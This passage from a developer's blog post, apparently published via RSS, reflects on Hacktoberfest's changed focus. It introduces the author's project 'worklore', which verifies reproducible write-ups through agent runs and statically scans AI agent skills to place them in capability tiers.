&lt;p&gt;Here is the part I only understood in hindsight. I have been building a small project called worklore, and I built it before I had ever framed either of these problems out loud. I just knew the two things that frustrated me most about sharing work. Every README promises the world — the skill does everything short of flying you to the moon — but I could never tell what one actually did, or whether it even fit my case, without a real example in front of me. And once I decided to run it, there was the quieter worry: could I trust a skill I didn't fully understand with my own data, when I didn't know the whole story of what it touched?&lt;/p&gt;

&lt;p&gt;So worklore became my small contribution to this new era — an experiment I am building in the open, more than a finished product. To prove a write-up actually worked, I leaned on evidence instead of stars or vibes: a story carries a machine-readable "reproduce this" contract, and its count moves only when a signed-in person's agent runs that contract in their own repo and reports back. And to answer "is it safe," it can x-ray a skill before you run it — a static scan of the skill's own text that pins what it can touch (files, network, secrets, shell) to a capability tier. It is early, and I would rather build it in the open than pretend I have it solved.&lt;/p&gt;

&lt;p&gt;I didn't see this coming. But when I read the new Hacktoberfest page, I recognized it immediately. Seems like I built the thing in Hacktoberfest's spirit without actually thinking about it.&lt;/p&gt;

&lt;p&gt;Maybe that is the real shift. We stopped counting the artifact — the PR, the patch, the shirt — because the artifact got cheap. What is left to value is what was always underneath: whether we are working on something people need, whether we are learning while we do it, and whether we can share what we learn in a way others can understand and safely use.&lt;/p&gt;

&lt;p&gt;If agents let us fly over the terrain, then the work worth doing now is marking the trails and clearing safe places to land — so the next person can tell a real route from a wrong one before they follow it. That is the unglamorous part no agent does for you, and it is the part I care about most.&lt;/p&gt;

&lt;p&gt;The T-shirts are still in the drawer. I am not sad about the change. If anything, it finally named the thing I liked about October all along. It was never the count — it was the climb.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>hacktoberfest</category>
      <category>programming</category>
      <category>agents</category>
    </item>
  </channel>
</rss>
